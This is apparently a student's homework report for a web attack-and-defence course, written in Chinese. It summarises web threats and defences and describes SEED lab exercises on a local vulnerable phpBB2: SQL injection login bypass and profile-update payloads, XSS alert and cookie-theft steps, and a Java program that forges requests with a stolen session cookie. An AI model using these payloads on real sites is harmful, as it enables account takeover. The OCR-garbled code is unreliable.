20199318 2019-2020-2 《网络攻防实践》第十一周作业
20199318 2019-2020-2 《网络攻防实践》第十一周作业
1.知识点梳理与总结
1.1 web应用程序体系结构及其安全威胁
1.1.1 web应用体系结构
Web应用程序(Web Application)是一种使用浏览器在互联网或企业内部网上进行访问操作的应用软件形态,通常以浏览器支持的语言(如JavaScript等脚本语詳及HTML等渲染标记语言)所编写,或能够在浏览器控制的环境中运行(如Java Applet),依赖于浏览器来对应用程序进行渲染与执行.
web应用体系结构如图所示:
1.1.2 web应用安全威胁
web应用体系结构及其安全威胁的层次模型
- 针对浏览春和终墙用户的Web浏览安全威胁。具体包括以浏览器渗透攻击为核心的网页木马,Phishing网站钓鱼等。
- 针对传输网路的网路协议安全威胁。如针对HTTP明文传输协议的敏感信息监听,在网络层、传输层和应用层都存在的假冒身份攻击,以及拒绝服务攻击等。
- 系统层安全威胁。Web站点的宿主操作系统,如Windows Server、Linux等,存在着远程渗透攻击和本地渗透攻击威胁。
- 软件安全威胁。Web服务器软件如US、Apache作为一种典型的网络服务,也不可避免地存在着安全漏洞与弱点,攻击者可以利用这些漏洞对Web服务器实施渗透攻击,或者获取敏感信息。
- Web应用程序安全威胁。程序员在使用ASP、PHP等脚本编程语言实现Web应用程序时,由于缺乏安全意识或有着不良的编程习惯,最终导致Web应用程序出现安全漏洞,从而被攻击者渗透利用,包括SQL注入攻击、XSS跨站脚本攻击等。
- Web数据安全威胁。Web站点中在Web应用程序后台存储的关键数据内容,以及Web客户输入的数据内容,存在着被窃取、篡改及输入不良信息等威胁.
1.2 web应用安全攻防技术概述
1.2.1 web应用的信息收集
- 手工审查web应用程序结构与源码
- 自动下载与镜像web站点页面
- 使用Google Hacking技术审查与探测Web应用程序
- Web应用程序安全评估与漏洞检测
1.2.2 攻击Web服务器软件
Web服务器平台中的安全漏洞主要分为以下几类:
- 数据驱动的远程代码执行安全漏洞
- 服务器功能扩展模块漏洞
- 样本文件安全漏洞
- 源代码泄露
- 资源解析攻击
1.2.3 攻击Web应用程序
Web应用程序安全威胁从攻击技术角度分为如下六类:
(1) 针对认证机制的攻击:针对用来确认用户、服务或应用身份机制的攻击手段,包括暴力枚举、利用认证机制不完善弱点、攻击口令恢复验证机制等;
(2) 授权机制的攻击:针对用来确定用户、服务或应用是否具有执行请求动作必须权
限机制的攻击手段,包括信任/会话预测、利用授权机制不完善弱点、利用会话失效机制不完善弱点、会话身份窃取攻击等;
(3) 客户端攻击:扰乱或者渗透攻击Web站点客户端用户的攻击手段,包括内容欺騙、跨站脚本攻击等;
(4) 命令执行攻击:在Web站点上执行远程命令的攻击手段,包括缓冲区溢出、格式化字符串、LDAP注入、操作系统命令注入、SQL注入、SSI (Seiver-Side Include)注入等:
(5) 信息暴露:获取Web站点具体系统信息的攻击手段,包括目录列举、信息泄露、路径遍历、资源位置可预测等:
(6) 逻辑攻击:扰乱或者渗透攻击Web应用逻辑流程的攻击手段,包括功能滥用、拒绝服务攻击、对抗自动程序不完善、处理验证过程不完善等。
1.2.4 攻击Web数据内容
- 安全敏感数据泄露
- 网站篡改
- 不良信息内容上传
1.2.5 Web应用安全防范措施
- Web站点网络传输安全防范措施
① 尽量使用HTTPS来保障Web站点传输时的保密性、完整性与身份真实性,至少要对登录过程进行加密保护。
② 通过加密的连接通道来管理Web站点,避免使用未经加密的telnet、FTP、HTTP来进行Web后台管理,而使用SSH、SFTP等安全协议。
③ 对关键的Web服务器,设置静态绑定MAC-IP映射,在服务网段内进行ARP等各类欺骗攻击的检测与MAC封禁机制,在网关位置部署防火墙与入侵检测系统对Web服务器实施保护与安全检测,采用冗余等机制来应对拒绝服务攻击。 - Web站点操作系统及服务安全设防措施
①对Web站点的操作系统与服务器软件进行及时的补丁更新:对于Windows 平台,尽量通过软件正版化采纳自动补丁更新服务,对于大型企业与组织网络,通过部署Windows Server更新服务来快速可靠地更新系统;对于Linux平台,视不同的发行版,釆用APT、YUM等软件自动更新工具及crond设置定期更新任务脚本,达到对服务器软件的及时更新.
② 对Web站点服务器的操作系统及各种开放服务进行远程安全漏洞扫描,在攻击者利用安全漏洞实施攻击之前发现和修补这些安全漏洞。
③ 采用提升系统与服务安全性的-般性设防措施,包括关闭所有不使用的服务,避免使用明文传输的网络服务;设置强口令字,以及安全的服务配置:部署防火墙,设置对控制及内容上传通道的限制访问;配置数据备份服务,必要时设置冗余和双机热备机制。 - Web应用程序安全设防措施
① 应该认识到采用动态内容、支持用户输入的Web应用程序较静态HTML具有更高的安全风险,因此在设计与开发Web应用时,应谨慎考虑是否釆用动态页面技术、是否支存客户端执行代码、是否允许接受用戸输入,信息发布类网站往往无须引入动态页面和用户交互,而且可以通过后台系统来产生信息发布静态页面的方式(这种Web站点构建方式也被新浪、搜狐等门户网站所采纳)来兼顾安全性、访问性能与便捷性。
② 对于必须提供用户交互、采用动态页而的Web站点,尽录使用具有良好安全声誉及稳定技术支持的Web应用软件包,如活跃的开源和共享软件,规范运作、注重安全的商业软件公司解决方案等,并定期进行Web应用程序的安全评估与漏洞扫描检测,对Web应用程序应跟进版本更新和安全补丁发布情况,进行升级与安全漏洞修补。
③ 只在必要时候自主或外包开发Web应用程序,在开发和部署过程中需重视安全编码、持续性的安全测试与维护,安全编程与测试的检査点有:独立、完整且集中的输入效验,校验全部的程序输入、校验输入类型;对HTTP所有内容进行校验,校验向用户输出的数据,使用安全的SQL査询方式,禁止使用JavaScript进行任何校验;使用安全究一的编码或转义方式;设定有安全的权限边界;校验被调用的后台命令、校验被调用的文本或配置文件、确保程序所记录的日志可控。
④ 使用Web服务器软件提供的日志功能,对Web应用程序的所有访问请求进行日志己录与安全审计,如Apache的accessJogs/errorJogs IIS的日志文件等,这些Web访问日志往往以W3C的日志标准格式 Extended Common Log Format来进行记录。 - Web站点数据安全设防措施
① 提高网站内容维护人员的数据安全意识,确保组织与国家秘密信息不被泄露到对外公开提供服务的Web站点上,同时也不应在网E公开团队/个人承担涉密项目工作,从而避引来针对性的社会工程学与渗透攻击:培养注重个人隐私的良好习惯,在网上公开的数据中尽可能地避免泄露个人隐私:对于允许用户提交数据的网站,需重视用户提交数据的合法性审査。
② 对维护网站的数据安全实施日常监测和防护:提升Web站点的安全性,避免网站被攻击之后的信息泄露、网站内容篡改与不良信息上传:掌握并善用Google搜索引擎技巧,定期检査自己维护网站和域名内的敏感数据是否被Google检索:对网站的安全配置进行检査,尽量消除冃录遍历、文件枚举以及随意上传等渠道;对接受用户交亙的网站列出清单,安排日常数据安全审核与检査机制。
1.3 SQL
代码注入根据攻击目标的不同分为:
• 恶意读取、修改与操纵数据库的SQL注入攻击;
• 在Web服务器端安装、执行Webshell等恶意脚本的PHP注入或ASP注入攻由;
• 在Web服务器端恶意执行操作系统命令的Shell注入攻击:
• 其他多种多样的注入攻击,如LDAP注入、邮件命令注入、空字节注入、SSI注入、
XPath注入、XML注入、XQuery注入等。
1.3.1 SQL注入攻击原理
SQL注入攻击的原理是向Web应用程序提供的用户输入接口(如一个动态页面的输入参数、表单的输入框,等等)输入一段精心构造的SQL査询命令,攻击和利用不完善的输入验证机制,使得注入代码得以执行完成非预期的攻击操作行为。
1.3.2 SQL注入攻击步骤和过程
(1)发现SQL注入点
(2)判断后台数据库类型
(3) 后台数据库中管理员用户口令字猜解
(4)上传ASP后门,得到默认账户权限
(5)本地权限提升
(6)利用数据库扩展存储过程执行shell命令
1.3.3 SQL注入攻击防范措施
(1)使用类型安全(type-safe)的参数编码机制
(2)凡是来自外部的用户输入,必须进行完备检查
(3)将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象
(4)加强SQL数据库服务器的配置与连接
1.4 XSSl跨站脚本攻击
1.4.1 攻击原理
与代码注入类似,XSS攻击的根源同样是Wbb应用程序对用户输入内容的安全验证与过滤不够完善,在许多流行的Web论坛、博客、留言本及其他允许用户交互的Web应用程序中,用户提交内容中可以包含HTML、JavaScript及其他脚本代码,而一旦Web应用程序没有对这些输入的合法性进行有效检査与过滤,就很有可能让这些恶意代码逻辑包含在服务器动态产生或更新的网页中。而与代码注入不同的是,XSS攻击的最终攻击目标并非Web服务器,Web服务器上的应用程序在XSS攻击场景中发挥的角色是“帮凶”,而非“受害者”,真正的“受害者”则是访问这些Web服务器的其他用户。
1.4.2 XSS攻击防范措施
XSS跨站脚本攻击是由于Web应用程序未对用户输入进行严格审査与过滤所引起的,但是恶意脚本执行却是在客户端的浏览器上,危害的也是客户端的安全。因此,对XSS跨站脚本的防范分为服务器端和客户端两个方面。
(1)服务器端防范措施
- 输入验证
- 输出净化
- 消除危险的输入点
(2)客户端防范措施
跨站脚本最终是在客户端浏览器上执行的,因此对抗XSS攻击需提升浏览器的安全设置,如提高浏览器访问非受信网站时的安全等级、关闭Cookie功能或设置Cookie只读,此外也可以采用非主流的安全浏览器如Chrome、Opera来尽暈降低安全风险。
2.动手实践
课外实践作业一:SQL 注入实验
实验描述:在本次实验中,我们修改了 phpBB 的 web 应用程序,并且关闭了 phpBB实现的一些对抗 SQL 注入的功能。因而我们创建了一个可以被 SQL 注入的 phpBB版本。尽管我们的修改是人工的,但是它们代表着 web开发人员的一些共同错误。学生的任务是发现 SQL注入漏洞,实现攻击者可以达到的破坏,同时学习抵挡这样的攻击的技术。
实验环境:实验需要三样东西,Firefox、apache、phpBB2(镜像中已有)
① 运行 Apache Server:镜像已经安装,只需运行命令 %sudo service apache2 start
② phpBB2 web 应用:镜像已经安装,通过 http://www.sqllabmysqlphpbb.com 访问,应
用程序源代码位于/var/www/SQL/SQLLabMysqlPhpbb/
③ 配置 DNS: 上述的 URL仅仅在镜像内部可以访问,原因是我们修改了/etc/hosts文件使http://www.sqllabmysqlphpbb.com 指向本机 IP 127.0.0.1。如果需要在其他机器访问,应该修改 hosts文件,使 URL 映射到 phpBB2 所在机器的 IP。
实验任务:
- 对 SELECT 语句的攻击
- 对 UPDATE 语句的攻击
- 对抗 SQL 注入
实验过程:
首先关闭对抗措施,PHP 提供了自动对抗 SQL 注入的机制,被称为 magic quote,我们需要关闭它。
找到/etc/php5/apache2/php.ini
,找到magic_quotes_gpc = On
这一行改为magic_quotes_gpc = Off
重启重启 Apache:sudo service apache2 restart
1. 对 SELECT 语句的攻击
首先访问虚拟机内的URL:www.sqllabmysqlphpbb.com。在进入phpBB之前系统会要求你登陆。这个登陆认证由服务器上的 login.php实现,需要用户输入用户名和密码来通过认证。用户键入用户名和密码后,login.php 会将它们与 mysql 数据库中的 username 和user_password字段进行比较,如果匹配就登陆主界面。和其他大多数 web应用程序一样, PHP程序使用 SQL 语言与背后的数据库交互。在 phpBB2中,下面的语句实现了对用户的认证。
按常理来说,如果输入错误的用户名或密码,肯定是登录不了的。但是对于有SQL注入漏洞的网站来说,只要构造特殊的“字符串”,就能够成功登录。如在用户名输入框中输入‘ or 1=1#,密码随便输入,此时合成的SQL查询语句为:select * from users where username=‘‘ or 1=1#‘ and password=md5(‘‘)
。
“#”在mysql中是注释符,这样井号后面的内容将被mysql视为注释内容,不会去执行。即select * from users where username=‘‘ or 1=1#‘ and password=md5(‘‘)
等价于select * from users where username=‘‘ or 1=1
,因为1=1永远成立的,即where子句总是为真,该sql语句进一步简化之后,等价于select * from users。由于该页面不让输入“=”,所以我们只能输入alice‘#,就可以在不知道alice密码的情况下登录了。
2. 对 UPDATE 语句的攻击
当用户想要在 phpBB2 中修改他们的资料时,可以点击Profile,然后填写表单修改。用户发送修改请求后,会执行include/usercp_register.php中的一条 UPDATE SQL语句。在这条语句中同样有一个 SQL 注入漏洞。
下面演示以 alice 登陆,目标是修改ted的资料信息,包括他的密码。攻击成功后将可以登陆 Ted 的账号。点击Memberlist查看ted的信息,可以看到一个带参数的脚本,猜测ted的id为6。
我们在profile页面中修改ted的信息,只需在修改资料后面加上‘where user_id=6#
,即将update语句中interests后的语句全部注释掉,并将where条件设置成ted的id。
再次点击Memberlist查看ted的信息,发现已经修改成功!
3. 对抗 SQL 注入
SQL 注入漏洞的根本原因是没有将代码和数据区分开。当组建一个 SQL语句时,程序(如 PHP 程序)知道哪个部分是代码哪个部分是数据。不幸的是当 SQL语句送往数据库执行时,这个边界被打破,当程序被注入时, SQL解释器看到的边界可能和最初的边界不一样。为了解决这个问题,保持服务端程序和数据库看到的边界一样就十分重要。
(1)使用 magic_quotes_gpc 避开特殊字符。我们只需要在单引号前加一个反斜杠()PHP 提供了自动在单引号、双引号、反斜杠和空字符前添加反斜杠的机制,如果这个选项启用,那么所有这些从用户输入的特殊字符会被加反斜杠。启用方法为,修改/etc/php5/apache2/php.ini的 magic_quotes_gpc = On,然后重启 Apache。
(2)使用 addslashes()来避开特殊字符。
PHP 的方法 addslashes()可以达到 magic quote 同样的功能。
课外实践作业二:XSS 攻击实验
实验描述:
在本次实验中,我们创建了一个具有 XSS 注入漏洞的 phpBB 版本。我们希望学生可以
通过生动地实践更深刻的理解 XSS的注入原理和方式,并在今后的工作中加强防御的意识
和措施。
实验环境
SEED Ubuntu 镜像
① 运行 Apache Server:镜像已经安装,只需运行命令 %sudo service apache2 start
② phpBB2 web 应用:镜像已经安装,通过 http://www.sqllabmysqlphpbb.com 访问,应
用程序源代码位于/var/www/SQL/SQLLabMysqlPhpbb/
③ 配置 DNS: 上述的 URL仅仅在镜像内部可以访问,原因是我们修改了/etc/hosts文件使http://www.sqllabmysqlphpbb.com 指向本机 IP 127.0.0.1。如果需要在其他机器访问,应该修改 hosts文件,使 URL 映射到 phpBB2 所在机器的 IP。
实验任务
- 测试漏洞
- 在消息窗口中显示 Cookie
- 获得受害主机的 Cookie
- 利用 Cookie 仿冒受害主机
实验过程: - 测试漏洞
登录到论坛后发布一个帖子,帖子中包含以下内容:<script>alert(’XSS’);</script>
-
在消息窗口中显示 Cookie
-
获得受害主机的 Cookie
可以在 Desktop/echoserver/中找到 echoserv 软件,运行方式为:
其中 4444 是端口号,要和我们在发帖时指定的源路径端口号一致。
然后登录alice的账号发布帖子,并包含以下信息:
登出后以ted的账号重新登录,访问该帖,会在运行 echoserv的终端上看到这个受害主机的 Cookie。
- 利用 Cookie 仿冒受害主机
在窃取到其他用户的Cookie信息之后,攻击者就可以假冒其他用户的身份,来发表与
修改帖子内容。使用Fimfox的LiveHttpHeader扩展组件,攻击者可以对发表或修改帖了时
所发送的HTTP Header数据与POST数据进行记录,然后在如下所示的Java代码中添加窃取到的用户会话Cookie,以及包含新帖子或修改帖于内容的POST数据,运行这段Java程序之后,就可以通过URLConnection类向论坛服务器发送数据包。论坛服务器接收到该数据包后,对HTTP头部进行分析,通过会活Cookie验证假冒身份的真实性之后,读取数据包中的POST数据,根据其内容以假冒用户的身份进行发表和修改帖于的相关操作。
import java.io.*; import java.net. public class HTTPSimpleForge ( public static void main(String[] args) throws lOException { try { int responsecode; Inputstream responseln=null; URL url = new URL ("http://www.xsslabphpbb.com/posting. php"); // URL to be forged. URLConnection urlConn = url.openConnection(); if (urlConn instanceof HttpURLConnection) { urIConn.setConnectTimeout(60000); urlConn.setReadTimeout(90000); } //addRequestProperty method is used to add HTTP Header Information. urlConn.addRequestProperty("User-Agent","Mozilla/5.0 (Xll; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009033100 Ubuntu/9.04 (jaunty) Firefox/3.0.8M); urlConn.addRequestProperty(MAccept", "text/html,application/xhtml+ xml# applicat ion/xml;q=0.9,*/*;q=0.8"); urlConn.addRequestProperty ("Accept-Language", "en-us.en;q=0.5"); urlConn.addRequestProperty ("Accept-Encoding"# "gzip,deflate"); urlConn.addRequestProperty("Accept-Charset", "ISO-8859-lrutf-8;q= 0.7, *;q=0.7"); urlConn.addRequestProperty("Keep-Alive"r "300*); urlConn.addRequestProperty("Connection", "keep-alive"); urlConn.addRequestProperty(*Referer", "http://www.xsslabphpbb・ com/posting.php?mode=editpost&p=7"); urlConn.addRequestProperty("Cookie","phpbb2mysql__t=a%3A32%3A%7Bi%3A7%3Bi%3A1283172181%3Bi%3A8%3Bi%3A1283172281%3Bi%3A9%3Bi%3A1283172408%3Bi%3A10%3Bi%3A1283172387%3Bi%3All%3Bi%3Al283172362%3Bi%3A12%3Bi%3A1283172356%3Bi%3A13%3Bi%3A1283172289%3Bi%3A14%3Bi%3A1283172351%3Bi%3A15%3Bi%3A1283172323%3Bi%3A16%3Bi%3A1283172317%3Bi%3A17%3Bi%3A1283172260%3Bi%3A18%3Bi%3A1283172249%3Bi%3A19%3Bi%3A1283172238%3Bi%3A20%3Bi%3A1283172194%3Bi%3A21%3Bi%3A1283172093%3Bi%3A22%3Bi%3A1283172086%3Bi%3A23%3Bi%3A1283172074%3Bi%3A24%3Bi%3A1283172067%3Bi%3A25%3Bi%3A1283172059%3Bi%3A26%3Bi%3A1283172081%3Bi%3A27%3Bi%3A1283172231%3Bi%3A28%3Bi%3A1283172244%3Bi%3A29%3Bi%3A1283172255%3Bi%3A30%3Bi%3A1283172308%3Bi%3A31%3Bi%3A1283172296%3Bi%3A32%3Bi%3A1283172302%3Bi%3A6%3Bi%3A1283172376%3Bi%3A5%3Bi%3A1283172413%3Bi%3A33%3Bi%3A1283172716%3Bi%3A34%3Bi%3A1283173189%3Bi%3A35%3Bi%3A1283174324%3Bi%3A36%3Bi%3A1283226239%3B%7D;phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%226%22%3B%7D") ur1Conn.addRequestProperty("Content-Type","application/x- www-form-urlencoded");
3.遇到的问题
问题一:sql语句基本上都忘了
问题一解决方案:上网查阅资料。
4.学习感悟、思考
本周实践x学习了SQL注入与XSS跨站脚本攻击的技术原理、具体步骤和防范措施。主要是代码不会写,参考了教材,勉强把代码看懂,还得继续努力。